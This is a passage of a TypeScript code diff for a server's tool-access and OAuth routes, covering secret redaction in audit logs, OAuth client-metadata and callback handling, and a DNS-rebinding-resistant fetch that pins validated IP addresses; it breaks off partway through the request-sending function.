export function stripSecretBearingUrlParts(value: string): string {
|
||||
const suffixStart = value.search(/[?#]/);
|
||||
const withoutQueryOrFragment = suffixStart === -1 ? value : value.slice(0, suffixStart);
|
||||
|
||||
try {
|
||||
const url = new URL(value);
|
||||
if (!url.username && !url.password && !url.search && !url.hash) return value;
|
||||
const url = new URL(withoutQueryOrFragment);
|
||||
if (!url.username && !url.password && suffixStart === -1) return value;
|
||||
url.username = "";
|
||||
url.password = "";
|
||||
url.search = "";
|
||||
url.hash = "";
|
||||
return url.toString();
|
||||
} catch {
|
||||
return value;
|
||||
// Request URLs are normally origin-form paths rather than absolute URLs.
|
||||
// They still need the same query/fragment policy as URL-valued payloads.
|
||||
return withoutQueryOrFragment;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -9,6 +9,26 @@ const SECRET_PAYLOAD_KEY_RE = new RegExp(SECRET_FIELD_NAME_PATTERN, "i");
|
|||
// "authorization". JWT-shaped values are still caught by the value guard below.
|
||||
const AUDIT_REASON_PAYLOAD_KEY_RE = /^authorizationReason$/;
|
||||
const AUDIT_SURFACE_PAYLOAD_KEY_RE = /^surface$/;
|
||||
/**
|
||||
* Cleanup counts on a connection-removal receipt (PAP-17119). Their names name
|
||||
* the thing they counted — secrets, bindings, tokens — so the key guard above
|
||||
* would blank the whole receipt and leave the operator unable to see what a
|
||||
* revocation actually tore down. They pass only while the value really is a
|
||||
* finite number, so nothing that could carry material rides through on the
|
||||
* strength of a familiar key name.
|
||||
*/
|
||||
const AUDIT_COUNT_PAYLOAD_KEYS = new Set([
|
||||
"secretsRevoked",
|
||||
"secretsRetainedShared",
|
||||
"credentialRefsCleared",
|
||||
"secretBindingsRemoved",
|
||||
"tokenIssuanceHashesCleared",
|
||||
"gatewayTokensRevoked",
|
||||
]);
|
||||
|
||||
function isAuditCountField(key: string, value: unknown): boolean {
|
||||
return AUDIT_COUNT_PAYLOAD_KEYS.has(key) && typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
const COMMAND_PAYLOAD_KEY_RE =
|
||||
/(^command$|^cmd$|command[-_]?line|resolved[-_]?command|PAPERCLIP_RESOLVED_COMMAND)/i;
|
||||
const COMMAND_ARGS_PAYLOAD_KEY_RE = /^(commandArgs|command_?args|argv)$/i;
|
||||
|
|
@ -107,7 +127,11 @@ export function sanitizeRecord(record: Record<string, unknown>): Record<string,
|
|||
redacted[key] = redactSensitiveText(value);
|
||||
continue;
|
||||
}
|
||||
if (SECRET_PAYLOAD_KEY_RE.test(key) && !AUDIT_REASON_PAYLOAD_KEY_RE.test(key)) {
|
||||
if (
|
||||
SECRET_PAYLOAD_KEY_RE.test(key)
|
||||
&& !AUDIT_REASON_PAYLOAD_KEY_RE.test(key)
|
||||
&& !isAuditCountField(key, value)
|
||||
) {
|
||||
if (isSecretRefBinding(value)) {
|
||||
redacted[key] = sanitizeValue(value);
|
||||
continue;
|
||||
|
|
|
|||
|
|
@ -42,9 +42,13 @@ import {
|
|||
} from "@paperclipai/shared";
|
||||
import { validate } from "../middleware/validate.js";
|
||||
import { getActorInfo, assertBoard, assertCompanyAccess, getAccessibleResource, hasCompanyAccess } from "./authz.js";
|
||||
import { badRequest, forbidden, unprocessable } from "../errors.js";
|
||||
import { badRequest, forbidden, HttpError, notFound, unprocessable } from "../errors.js";
|
||||
import { accessService, googleSheetsRobotEmailFromEnv, logActivity, toolAccessPolicyService, toolAccessService } from "../services/index.js";
|
||||
import { ToolGatewayHttpError, type ToolGatewayService } from "../services/tool-gateway.js";
|
||||
import {
|
||||
OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH,
|
||||
oauthClientIdMetadataDocument,
|
||||
} from "../services/tool-access.js";
|
||||
|
||||
/** Allowlist (e.g. Google Sheets allowed spreadsheet ids) lives in connection config. */
|
||||
function allowlistIds(config: Record<string, unknown> | null | undefined): string[] {
|
||||
|
|
@ -53,6 +57,28 @@ function allowlistIds(config: Record<string, unknown> | null | undefined): strin
|
|||
return raw.filter((value): value is string => typeof value === "string" && value.trim().length > 0);
|
||||
}
|
||||
|
||||
function agentOrgDepths(rows: Array<{ id: string; reportsTo: string | null }>): Map<string, number> {
|
||||
const parentById = new Map(rows.map((row) => [row.id, row.reportsTo]));
|
||||
const depthById = new Map<string, number>();
|
||||
|
||||
const depthFor = (agentId: string, path: Set<string>): number => {
|
||||
const known = depthById.get(agentId);
|
||||
if (known !== undefined) return known;
|
||||
const parentId = parentById.get(agentId);
|
||||
if (!parentId || !parentById.has(parentId) || path.has(agentId)) {
|
||||
depthById.set(agentId, 0);
|
||||
return 0;
|
||||
}
|
||||
const nextPath = new Set(path).add(agentId);
|
||||
const depth = depthFor(parentId, nextPath) + 1;
|
||||
depthById.set(agentId, depth);
|
||||
return depth;
|
||||
};
|
||||
|
||||
for (const row of rows) depthFor(row.id, new Set());
|
||||
return depthById;
|
||||
}
|
||||
|
||||
/**
|
||||
* Classify a connection PATCH into operator-visible lifecycle events so the
|
||||
* per-app Activity tab can humanize them (PAP-11284). A single update may
|
||||
|
|
@ -109,10 +135,23 @@ export function toolAccessRoutes(
|
|||
function oauthRedirectUri() {
|
||||
const configured = configuredPublicBaseUrl();
|
||||
if (!configured) {
|
||||
throw unprocessable("OAuth connections require PAPERCLIP_PUBLIC_URL or an auth public base URL");
|
||||
throw unprocessable(
|
||||
"This Paperclip needs a browser-reachable HTTPS address (or loopback HTTP) before browser sign-in can start.",
|
||||
{ code: "oauth_redirect_origin_unsupported" },
|
||||
);
|
||||
}
|
||||
return new URL("/api/tools/oauth/callback", configured).toString();
|
||||
}
|
||||
|
||||
async function oauthSetupPath(companyId: string, connectionId: string) {
|
||||
const [company] = await db
|
||||
.select({ issuePrefix: companies.issuePrefix })
|
||||
.from(companies)
|
||||
.where(eq(companies.id, companyId))
|
||||
.limit(1);
|
||||
if (!company) throw new Error("OAuth callback connection belongs to a missing company");
|
||||
return `/${company.issuePrefix}/apps/${connectionId}/setup`;
|
||||
}
|
||||
const access = accessService(db);
|
||||
|
||||
async function assertBoardToolPermission(req: Request, companyId: string, permissionKey: PermissionKey) {
|
||||
|
|
@ -252,17 +291,48 @@ export function toolAccessRoutes(
|
|||
});
|
||||
});
|
||||
|
||||
/**
|
||||
* Paperclip's Client ID Metadata Document (PAP-17087).
|
||||
*
|
||||
* The document's own URL is the `client_id` Paperclip presents to an
|
||||
* authorization server that supports CIMD, so this endpoint has to be publicly
|
||||
* readable — an authorization server fetches it server-to-server with no
|
||||
* Paperclip session. It contains only this deployment's callback and the
|
||||
* grant/response/auth methods Paperclip uses: no company, connection or secret
|
||||
* data of any kind.
|
||||
*/
|
||||
router.get(OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH.replace(/^\/api/, ""), (_req, res) => {
|
||||
const redirectUri = oauthRedirectUri();
|
||||
const clientId = new URL(OAUTH_CLIENT_ID_METADATA_DOCUMENT_PATH, new URL(redirectUri).origin).toString();
|
||||
res.type("application/json").json(oauthClientIdMetadataDocument({ clientId, redirectUri }));
|
||||
});
|
||||
|
||||
router.post("/companies/:companyId/tools/apps/connect", validate(connectToolAppSchema), async (req, res) => {
|
||||
const companyId = req.params.companyId as string;
|
||||
assertToolAppMutationAccess(req, companyId);
|
||||
try {
|
||||
const result = await svc.connectGalleryApp(companyId, req.body, getActorInfo(req));
|
||||
if (result.auth?.kind === "oauth") {
|
||||
const start = await svc.startOAuth(companyId, result.connectionId, {
|
||||
redirectUri: oauthRedirectUri(),
|
||||
actor: getActorInfo(req),
|
||||
});
|
||||
result.auth.startUrl = start.authorizationUrl;
|
||||
try {
|
||||
const start = await svc.startOAuth(companyId, result.connectionId, {
|
||||
redirectUri: oauthRedirectUri(),
|
||||
actor: getActorInfo(req),
|
||||
});
|
||||
result.auth.startUrl = start.authorizationUrl;
|
||||
result.auth.issuer = start.issuer ?? result.auth.issuer ?? null;
|
||||
result.auth.resource = start.resource ?? result.auth.resource ?? null;
|
||||
result.auth.registrationSource = start.registrationSource ?? null;
|
||||
} catch (error) {
|
||||
// An unknown server whose authorization server supports neither CIMD
|
||||
// nor dynamic registration is not a failed connect: the draft
|
||||
// connection is real and usable as soon as the operator supplies a
|
||||
// client they registered themselves. Report that instead of a 4xx so
|
||||
// the wizard can ask for it rather than losing the draft.
|
||||
const code = error instanceof HttpError ? String((error.details as { code?: unknown })?.code ?? "") : "";
|
||||
if (code !== "oauth_manual_client_required" && code !== "oauth_manual_client_rebinding_required") throw error;
|
||||
result.auth.startUrl = null;
|
||||
result.auth.manualClientRequired = true;
|
||||
}
|
||||
}
|
||||
await logActivity(db, {
|
||||
companyId,
|
||||
|
|
@ -323,20 +393,46 @@ export function toolAccessRoutes(
|
|||
const state = typeof req.query.state === "string" ? req.query.state : "";
|
||||
const code = typeof req.query.code === "string" ? req.query.code : null;
|
||||
const error = typeof req.query.error === "string" ? req.query.error : null;
|
||||
const errorDescription = typeof req.query.error_description === "string" ? req.query.error_description : null;
|
||||
// `error_description` / `error_uri` are read from neither the query nor the
|
||||
// provider's body: they are provider-authored prose, and Paperclip maps the
|
||||
// `error` code to its own copy instead of reflecting them (PAP-17108).
|
||||
const iss = typeof req.query.iss === "string" ? req.query.iss : null;
|
||||
const pendingState = state ? await svc.peekOAuthState(state) : null;
|
||||
if (!pendingState || !hasCompanyAccess(req, pendingState.companyId)) {
|
||||
throw badRequest("Invalid or expired OAuth state");
|
||||
}
|
||||
assertToolAppMutationAccess(req, pendingState.companyId);
|
||||
const result = await svc.completeOAuthCallback({
|
||||
state,
|
||||
code,
|
||||
error,
|
||||
errorDescription,
|
||||
redirectUri: oauthRedirectUri(),
|
||||
actor: getActorInfo(req),
|
||||
});
|
||||
const acceptsHtml = req.get("accept")?.includes("text/html") === true;
|
||||
let result: Awaited<ReturnType<typeof svc.completeOAuthCallback>>;
|
||||
try {
|
||||
result = await svc.completeOAuthCallback({
|
||||
state,
|
||||
code,
|
||||
error,
|
||||
iss,
|
||||
// A provider denial is bound and consumed by state alone. Avoid
|
||||
// requiring this deployment's callback origin just to record that the
|
||||
// user declined; successful code exchange still validates the origin.
|
||||
redirectUri: error ? "" : oauthRedirectUri(),
|
||||
actor: getActorInfo(req),
|
||||
});
|
||||
} catch (callbackError) {
|
||||
if (!acceptsHtml) throw callbackError;
|
||||
const details = callbackError instanceof HttpError
|
||||
&& callbackError.details
|
||||
&& typeof callbackError.details === "object"
|
||||
&& !Array.isArray(callbackError.details)
|
||||
? callbackError.details as Record<string, unknown>
|
||||
: null;
|
||||
const callbackErrorCode = typeof details?.code === "string" ? details.code : null;
|
||||
const params = new URLSearchParams({
|
||||
oauth: callbackErrorCode === "oauth_authorization_denied" ? "denied" : "failed",
|
||||
});
|
||||
if (callbackErrorCode) params.set("code", callbackErrorCode);
|
||||
const setupPath = await oauthSetupPath(pendingState.companyId, pendingState.connectionId);
|
||||
res.redirect(303, `${setupPath}?${params.toString()}`);
|
||||
return;
|
||||
}
|
||||
await logActivity(db, {
|
||||
companyId: result.connection.companyId,
|
||||
actorType: "user",
|
||||
|
|
@ -349,14 +445,9 @@ export function toolAccessRoutes(
|
|||
catalogEntryCount: result.catalog.length,
|
||||
},
|
||||
});
|
||||
if (req.get("accept")?.includes("text/html")) {
|
||||
const [company] = await db
|
||||
.select({ issuePrefix: companies.issuePrefix })
|
||||
.from(companies)
|
||||
.where(eq(companies.id, result.connection.companyId))
|
||||
.limit(1);
|
||||
if (!company) throw new Error("OAuth callback connection belongs to a missing company");
|
||||
res.redirect(303, `/${company.issuePrefix}/apps/${result.connection.id}/setup?oauth=connected`);
|
||||
if (acceptsHtml) {
|
||||
const setupPath = await oauthSetupPath(result.connection.companyId, result.connection.id);
|
||||
res.redirect(303, `${setupPath}?oauth=connected`);
|
||||
return;
|
||||
}
|
||||
res.json(result);
|
||||
|
|
@ -674,9 +765,11 @@ export function toolAccessRoutes(
|
|||
role: agents.role,
|
||||
title: agents.title,
|
||||
status: agents.status,
|
||||
reportsTo: agents.reportsTo,
|
||||
})
|
||||
.from(agents)
|
||||
.where(eq(agents.companyId, connection.companyId));
|
||||
const orgDepthByAgentId = agentOrgDepths(rows);
|
||||
const candidates = [];
|
||||
for (const agent of rows) {
|
||||
try {
|
||||
|
|
@ -685,7 +778,12 @@ export function toolAccessRoutes(
|
|||
continue;
|
||||
}
|
||||
candidates.push({
|
||||
...agent,
|
||||
id: agent.id,
|
||||
name: agent.name,
|
||||
role: agent.role,
|
||||
title: agent.title,
|
||||
status: agent.status,
|
||||
orgDepth: orgDepthByAgentId.get(agent.id) ?? 0,
|
||||
effectiveAccess: await options.toolGateway.summarizeConnectionAccessForAgent({
|
||||
companyId: connection.companyId,
|
||||
connectionId: connection.id,
|
||||
|
|
@ -693,6 +791,7 @@ export function toolAccessRoutes(
|
|||
}),
|
||||
});
|
||||
}
|
||||
candidates.sort((a, b) => a.orgDepth - b.orgDepth || a.name.localeCompare(b.name));
|
||||
res.json({ agents: candidates });
|
||||
});
|
||||
|
||||
|
|
@ -791,8 +890,15 @@ export function toolAccessRoutes(
|
|||
if (!existing) return;
|
||||
assertToolAppMutationAccess(req, existing.companyId);
|
||||
const applicationBefore = await svc.getApplication(existing.applicationId);
|
||||
const connection = await svc.archiveConnection(existing.id);
|
||||
const { connection, removal } = await svc.archiveConnection(
|
||||
existing.id,
|
||||
existing.companyId,
|
||||
getActorInfo(req),
|
||||
);
|
||||
const applicationAfter = await svc.getApplication(existing.applicationId);
|
||||
// The receipt is counts and outcomes only. Removal is a revocation boundary
|
||||
// (PAP-17119) and operators need to see what it tore down, but this row is
|
||||
// company-readable activity, so it never carries a secret name or value.
|
||||
await logActivity(db, {
|
||||
companyId: connection.companyId,
|
||||
actorType: "user",
|
||||
|
|
@ -800,7 +906,7 @@ export function toolAccessRoutes(
|
|||
action: "tool_connection.archived",
|
||||
entityType: "tool_connection",
|
||||
entityId: connection.id,
|
||||
details: { transport: connection.transport },
|
||||
details: { transport: connection.transport, ...removal },
|
||||
});
|
||||
if (applicationBefore.status !== "archived" && applicationAfter.status === "archived") {
|
||||
await logActivity(db, {
|
||||
|
|
@ -813,7 +919,7 @@ export function toolAccessRoutes(
|
|||
details: { type: applicationAfter.type, name: applicationAfter.name, reason: "last_connection_removed" },
|
||||
});
|
||||
}
|
||||
res.json(connection);
|
||||
res.json({ ...connection, removal });
|
||||
});
|
||||
|
||||
router.post("/tool-connections/:connectionId/health-check", async (req, res) => {
|
||||
|
|
|
|||
|
|
@ -39,7 +39,29 @@ export async function assertPublicRemoteHttpEndpoint(
|
|||
options: RemoteHttpEndpointGuardOptions,
|
||||
error: RemoteHttpEndpointErrorFactory,
|
||||
): Promise<void> {
|
||||
if (options.allowPrivateNetwork) return;
|
||||
await resolveApprovedRemoteHttpAddresses(endpoint, options, error);
|
||||
}
|
||||
|
||||
/**
|
||||
* Validate a remote endpoint and return the exact address set that was approved.
|
||||
*
|
||||
* Callers must dial one of the returned addresses instead of letting the socket
|
||||
* layer resolve the hostname a second time. A second resolution reopens a
|
||||
* DNS-rebinding TOCTOU window: an attacker-controlled name server can answer
|
||||
* with a public address while this guard is looking, then with a loopback,
|
||||
* private or link-local address a moment later when the connection is made
|
||||
* (PAP-17098). Returning the resolved set — rather than a bare `void` — is what
|
||||
* lets `guardedRemoteHttpFetch` close that window.
|
||||
*
|
||||
* An empty result means "no address pinning required": the deployment allows
|
||||
* private endpoints, so there is no boundary left to enforce.
|
||||
*/
|
||||
export async function resolveApprovedRemoteHttpAddresses(
|
||||
endpoint: URL,
|
||||
options: RemoteHttpEndpointGuardOptions,
|
||||
error: RemoteHttpEndpointErrorFactory,
|
||||
): Promise<string[]> {
|
||||
if (options.allowPrivateNetwork) return [];
|
||||
|
||||
const hostname = endpoint.hostname.replace(/^\[|\]$/g, "").toLowerCase();
|
||||
if (hostname === "localhost" || hostname.endsWith(".localhost")) {
|
||||
|
|
@ -51,7 +73,7 @@ export async function assertPublicRemoteHttpEndpoint(
|
|||
if (isPrivateOrReservedIp(hostname)) {
|
||||
throw error("Remote MCP connection URL cannot target private or reserved network addresses", "remote_http_private_endpoint");
|
||||
}
|
||||
return;
|
||||
return [hostname];
|
||||
}
|
||||
|
||||
let results: LookupResult[];
|
||||
|
|
@ -70,6 +92,22 @@ export async function assertPublicRemoteHttpEndpoint(
|
|||
if (results.some((result) => isPrivateOrReservedIp(result.address))) {
|
||||
throw error("Remote MCP connection URL cannot resolve to private or reserved network addresses", "remote_http_private_endpoint");
|
||||
}
|
||||
return results.map((result) => result.address);
|
||||
}
|
||||
|
||||
/**
|
||||
* Reduce an address to the form used for comparing an approved address against
|
||||
* the peer a socket actually connected to. `socket.remoteAddress` may come back
|
||||
* as an IPv4-mapped IPv6 address or carry an IPv6 zone index, neither of which
|
||||
* appears in a DNS answer.
|
||||
*/
|
||||
export function normalizeIpAddress(address: string): string {
|
||||
const lower = address.trim().toLowerCase().replace(/^\[|\]$/g, "").split("%")[0] ?? "";
|
||||
const mappedIpv4 = lower.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
|
||||
if (mappedIpv4?.[1]) return mappedIpv4[1];
|
||||
const mappedIpv4Hex = parseMappedIpv4Hex(lower);
|
||||
if (mappedIpv4Hex) return mappedIpv4Hex;
|
||||
return lower;
|
||||
}
|
||||
|
||||
function defaultLookup(hostname: string): Promise<LookupResult[]> {
|
||||
|
|
@ -93,7 +131,7 @@ async function lookupWithTimeout(hostname: string, lookup: RemoteHttpEndpointLoo
|
|||
}
|
||||
}
|
||||
|
||||
function isPrivateOrReservedIp(address: string): boolean {
|
||||
export function isPrivateOrReservedIp(address: string): boolean {
|
||||
const lower = address.toLowerCase();
|
||||
const mappedIpv4 = lower.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/);
|
||||
if (mappedIpv4?.[1]) return isPrivateOrReservedIpv4(mappedIpv4[1]);
|
||||
|
|
|
|||
|
|
@ -0,0 +1,417 @@
|
|||
import { request as httpRequest, type IncomingMessage } from "node:http";
|
||||
import { request as httpsRequest } from "node:https";
|
||||
import { connect as netConnect, isIP, type Socket } from "node:net";
|
||||
import { Readable } from "node:stream";
|
||||
import { connect as tlsConnect, type TLSSocket } from "node:tls";
|
||||
import { createBrotliDecompress, createGunzip, createInflate } from "node:zlib";
|
||||
|
||||
import {
|
||||
isPrivateOrReservedIp,
|
||||
normalizeIpAddress,
|
||||
resolveApprovedRemoteHttpAddresses,
|
||||
type RemoteHttpEndpointErrorFactory,
|
||||
type RemoteHttpEndpointGuardOptions,
|
||||
} from "./remote-http-endpoint-guard.js";
|
||||
|
||||
/** Statuses whose HTTP semantics forbid a response body. */
|
||||
const NULL_BODY_STATUSES = new Set([101, 103, 204, 205, 304]);
|
||||
|
||||
const DEFAULT_CONNECT_TIMEOUT_MS = 10_000;
|
||||
|
||||
/**
|
||||
* Stands in for undici's `headersTimeout`/`bodyTimeout`, which the platform
|
||||
* `fetch` applied for free. Without it a remote server that accepts the
|
||||
* connection and then stays silent would hold the request open indefinitely —
|
||||
* the OAuth callers pass no `AbortSignal`, so nothing else would ever cut it
|
||||
* loose (PAP-17110).
|
||||
*
|
||||
* Deliberately far tighter than undici's 300 s: everything that reaches this
|
||||
* transport is metadata discovery, a token exchange, a DCR call or an MCP
|
||||
* JSON-RPC round trip, none of which has any business taking minutes. Callers
|
||||
* that own a longer budget — `tools/call`, which an operator can raise to 60 s —
|
||||
* pass `responseTimeoutMs` so this default never truncates it.
|
||||
*/
|
||||
const DEFAULT_RESPONSE_TIMEOUT_MS = 30_000;
|
||||
const DNS_RESOLUTION_ERROR_CODES = new Set(["ENODATA", "ENOTFOUND", "EAI_AGAIN"]);
|
||||
|
||||
/** How a verified socket is opened. Overridable so tests can simulate a rebind. */
|
||||
export type RemoteHttpSocketFactory = (target: {
|
||||
address: string;
|
||||
port: number;
|
||||
hostname: string;
|
||||
useTls: boolean;
|
||||
}) => Socket;
|
||||
|
||||
export type GuardedRemoteHttpFetchOptions = RemoteHttpEndpointGuardOptions & {
|
||||
/** Builds the rejection thrown when the guard or the peer check fails. */
|
||||
error: RemoteHttpEndpointErrorFactory;
|
||||
/**
|
||||
* Test seam: opens the raw TCP socket. Production leaves this unset so the
|
||||
* socket is dialled at the approved address. A factory that connects
|
||||
* somewhere else stands in for a rebind below the DNS layer, and must still
|
||||
* be caught by the peer-address check.
|
||||
*/
|
||||
socketFactory?: RemoteHttpSocketFactory;
|
||||
connectTimeoutMs?: number;
|
||||
/** Deadline for response headers, and idle deadline between body chunks. */
|
||||
responseTimeoutMs?: number;
|
||||
/**
|
||||
* Platform `fetch`, used only when the deployment allows private endpoints and
|
||||
* there is therefore no egress boundary to pin against.
|
||||
*/
|
||||
unpinnedFetch?: typeof fetch;
|
||||
};
|
||||
|
||||
/**
|
||||
* Fetch a remote endpoint without reopening the DNS-rebinding window the guard
|
||||
* just closed (PAP-17098).
|
||||
*
|
||||
* `assertPublicRemoteHttpEndpoint` used to hand its verdict to a bare global
|
||||
* `fetch`, which resolved the hostname a second time. An attacker who controls
|
||||
* the name server for the hostname could answer with a public address for the
|
||||
* guard's lookup and a loopback, RFC 1918 or link-local address for the
|
||||
* connection, reaching internal services and cloud metadata from the Paperclip
|
||||
* server. This function instead:
|
||||
*
|
||||
* 1. resolves and validates the hostname exactly once, keeping the approved
|
||||
* address set;
|
||||
* 2. dials one of those approved addresses directly, so the socket layer never
|
||||
* performs its own lookup;
|
||||
* 3. preserves the original hostname for the `Host` header, for TLS SNI and for
|
||||
* certificate identity checking, so pinning is invisible to the peer;
|
||||
* 4. re-checks the address the socket actually connected to before a single
|
||||
* request byte is written, which also covers a rebind below DNS; and
|
||||
* 5. never follows redirects — it behaves as `redirect: "manual"` so the caller
|
||||
* re-runs the whole guard against every `Location` it decides to follow.
|
||||
*
|
||||
* Two cases need no pinning and keep platform `fetch` semantics:
|
||||
*
|
||||
* - the deployment allows private endpoints, where the guard is a documented
|
||||
* no-op and rebinding cannot reach anything an operator could not reach by
|
||||
* typing the private URL in directly; and
|
||||
* - the URL already carries an IP literal, where no name resolution happens on
|
||||
* either side of the guard, so there is no second answer to disagree with the
|
||||
* first. `URL` has already normalised the literal (`0x7f.1`, `::ffff:7f00:1`)
|
||||
* by the time the guard classifies it.
|
||||
*/
|
||||
export async function guardedRemoteHttpFetch(
|
||||
url: string | URL,
|
||||
init: RequestInit,
|
||||
options: GuardedRemoteHttpFetchOptions,
|
||||
): Promise<Response> {
|
||||
const endpoint = url instanceof URL ? url : new URL(url);
|
||||
const approved = await resolveApprovedRemoteHttpAddresses(endpoint, options, options.error);
|
||||
const literalHost = isIP(endpoint.hostname.replace(/^\[|\]$/g, "")) !== 0;
|
||||
const platformFetch = options.unpinnedFetch ?? fetch;
|
||||
if (approved.length === 0 || literalHost) {
|
||||
try {
|
||||
return await platformFetch(endpoint.toString(), { ...init, redirect: "manual" });
|
||||
} catch (error) {
|
||||
if (isDnsResolutionError(error)) {
|
||||
throw options.error(
|
||||
"Remote MCP connection hostname could not be resolved",
|
||||
"remote_http_dns_failed",
|
||||
);
|
||||
}
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
return pinnedRequest(endpoint, approved, init, options);
|
||||
}
|
||||
|
||||
/** Node's platform fetch wraps DNS failures in TypeError.cause. */
|
||||
function isDnsResolutionError(error: unknown): boolean {
|
||||
const seen = new Set<unknown>();
|
||||
let current = error;
|
||||
while (typeof current === "object" && current !== null && !seen.has(current)) {
|
||||
seen.add(current);
|
||||
const record = current as { code?: unknown; cause?: unknown };
|
||||
if (typeof record.code === "string" && DNS_RESOLUTION_ERROR_CODES.has(record.code)) return true;
|
||||
current = record.cause;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
async function pinnedRequest(
|
||||
endpoint: URL,
|
||||
approved: string[],
|
||||
init: RequestInit,
|
||||
options: GuardedRemoteHttpFetchOptions,
|
||||
): Promise<Response> {
|
||||
const useTls = endpoint.protocol === "https:";
|
||||
const hostname = endpoint.hostname.replace(/^\[|\]$/g, "");
|
||||
const port = endpoint.port ? Number(endpoint.port) : useTls ? 443 : 80;
|
||||
const approvedSet = new Set(approved.map(normalizeIpAddress));
|
||||
const signal = init.signal ?? null;
|
||||
|
||||
signal?.throwIfAborted?.();
|
||||
|
||||
const socket = await dialApprovedAddress({ approved, approvedSet, port, hostname, useTls, signal, options });
|
||||
|
||||
try {
|
||||
return await sendRequest({
|
||||
endpoint,
|
||||
hostname,
|
||||
port,
|
||||
useTls,
|
||||
socket,
|
||||
init,
|
||||
signal,
|
||||
responseTimeoutMs: options.responseTimeoutMs ?? DEFAULT_RESPONSE_TIMEOUT_MS,
|
||||
error: options.error,
|
||||
});
|
||||
} catch (error) {
|
||||
socket.destroy();
|
||||
throw error;
|
||||
}
|
||||
}
|
||||
|
||||
/** An approved address that could not be reached, so the next one may be tried. */
|
||||
class UnreachableAddressError extends Error {
|
||||
constructor(readonly reason: unknown) {
|
||||
super("Remote MCP approved address was unreachable");
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Try the approved addresses in resolution order.
|
||||
*
|
||||
* `fetch` walks every A/AAAA record before giving up, so pinning to `approved[0]`
|
||||
* alone would break a multi-homed host whose first record happens to be dead. A
|
||||
* peer that fails the address check is a different matter — that is the rebinding
|
||||
* defence firing, not a reachability problem — so it fails closed immediately
|
||||
* rather than moving down the list.
|
||||
*/
|
||||
async function dialApprovedAddress(input: {
|
||||
approved: string[];
|
||||
approvedSet: Set<string>;
|
||||
port: number;
|
||||
hostname: string;
|
||||
useTls: boolean;
|
||||
signal: AbortSignal | null;
|
||||
options: GuardedRemoteHttpFetchOptions;
|
||||
}): Promise<Socket | TLSSocket> {
|
||||
let lastReason: unknown;
|
||||
for (const address of input.approved) {
|
||||
input.signal?.throwIfAborted?.();
|
||||
try {
|
||||
return await openVerifiedSocket({ ...input, address });
|
||||
} catch (error) {
|
||||
if (!(error instanceof UnreachableAddressError)) throw error;
|
||||
lastReason = error.reason;
|
||||
}
|
||||
}
|
||||
throw lastReason
|
||||
?? input.options.error("Remote MCP endpoint could not be reached", "remote_http_connect_failed");
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect to `address`, confirm the peer really is that approved address, and
|
||||
* only then complete the TLS handshake. Verifying before the handshake keeps
|
||||
* even a ClientHello off an internal service.
|
||||
*/
|
||||
async function openVerifiedSocket(input: {
|
||||
address: string;
|
||||
approvedSet: Set<string>;
|
||||
port: number;
|
||||
hostname: string;
|
||||
useTls: boolean;
|
||||
signal: AbortSignal | null;
|
||||
options: GuardedRemoteHttpFetchOptions;
|
||||
}): Promise<Socket | TLSSocket> {
|
||||
const { address, approvedSet, port, hostname, useTls, signal, options } = input;
|
||||
const connectTimeoutMs = options.connectTimeoutMs ?? DEFAULT_CONNECT_TIMEOUT_MS;
|
||||
const factory = options.socketFactory
|
||||
?? ((target) => netConnect({ host: target.address, port: target.port }));
|
||||
|
||||
const raw = factory({ address, port, hostname, useTls });
|
||||
|
||||
try {
|
||||
await once(raw, "connect", { signal, timeoutMs: connectTimeoutMs, what: "connect to" });
|
||||
} catch (error) {
|
||||
// A connect timeout used to leave the half-open socket behind, because
|
||||
// nothing above this point owns it yet.
|
||||
raw.destroy();
|
||||
if (signal?.aborted) throw error;
|
||||
throw new UnreachableAddressError(error);
|
||||
}
|
||||
|
||||
const peer = raw.remoteAddress ? normalizeIpAddress(raw.remoteAddress) : null;
|
||||
if (!peer || isPrivateOrReservedIp(peer) || !approvedSet.has(peer)) {
|
||||
raw.destroy();
|
||||
throw options.error(
|
||||
"Remote MCP connection resolved to an address that was not approved",
|
||||
"remote_http_private_endpoint",
|
||||
);
|
||||
}
|
||||
|
||||
if (!useTls) return raw;
|
||||
|
||||
const secure = tlsConnect({
|
||||
socket: raw,
|
||||
// The certificate is checked against the hostname the operator configured,
|
||||
// not the pinned address, and SNI carries that hostname too.
|
||||
servername: isIP(hostname) === 0 ? hostname : undefined,
|
||||
host: hostname,
|
||||
});
|
||||
try {
|
||||
await once(secure, "secureConnect", { signal, timeoutMs: connectTimeoutMs, what: "negotiate TLS with" });
|
||||
} catch (error) {
|
||||
secure.destroy();
|
||||
raw.destroy();
|
||||
if (signal?.aborted) throw error;
|
||||
throw new UnreachableAddressError(error);
|
||||
}
|
||||
return secure;
|
||||
}
|
||||
|
||||
async function sendRequest(input: {
|
||||
endpoint: URL;
|
||||
hostname: string;
|
||||
port: number;
|
||||
useTls: boolean;
|
||||
socket: Socket;
|
||||
init: RequestInit;
|
||||
signal: AbortSignal | null;
|
||||
responseTimeoutMs: number;
|
||||
error: RemoteHttpEndpointErrorFactory;
|
||||
}): Promise<Response> {
|
||||
const { endpoint, hostname, port, useTls, socket, init, signal, responseTimeoutMs, error } = input;
|
||||
const headers = new Headers(init.headers);
|
||||
const body = readRequestBody(init.body);
|
||||
const method = (init.method ?? "GET").toUpperCase();
|
||||
|
||||
if (body !== undefined && !headers.has("content-length") && !headers.has("transfer-encoding")) {
|
||||
headers.set("content-length", String(body.byteLength));
|
||||
}
|
||||
if (init.body instanceof URLSearchParams && !headers.has("content-type")) {
|
||||
headers.set("content-type", "application/x-www-form-urlencoded;charset=UTF-8");
|
||||
}
|
||||
// `URL.host` already drops the port when it is the protocol default, so the
|
||||
// peer sees the same `Host` a plain `fetch` would have sent.
|
||||
headers.set("host", endpoint.host);
|
||||
|
||||
const requestFn = useTls ? httpsRequest : httpRequest;
|
||||
const message = await new Promise<IncomingMessage>((resolve, reject) => {
|
||||
const req = requestFn({
|
||||
method,
|
||||
// `createConnection` returns the socket that was already verified, so no
|
||||
// hostname reaches the socket layer and no second lookup can happen. It is
|
||||
// only honoured while `agent` stays unset, so do not pass one.
|
||||
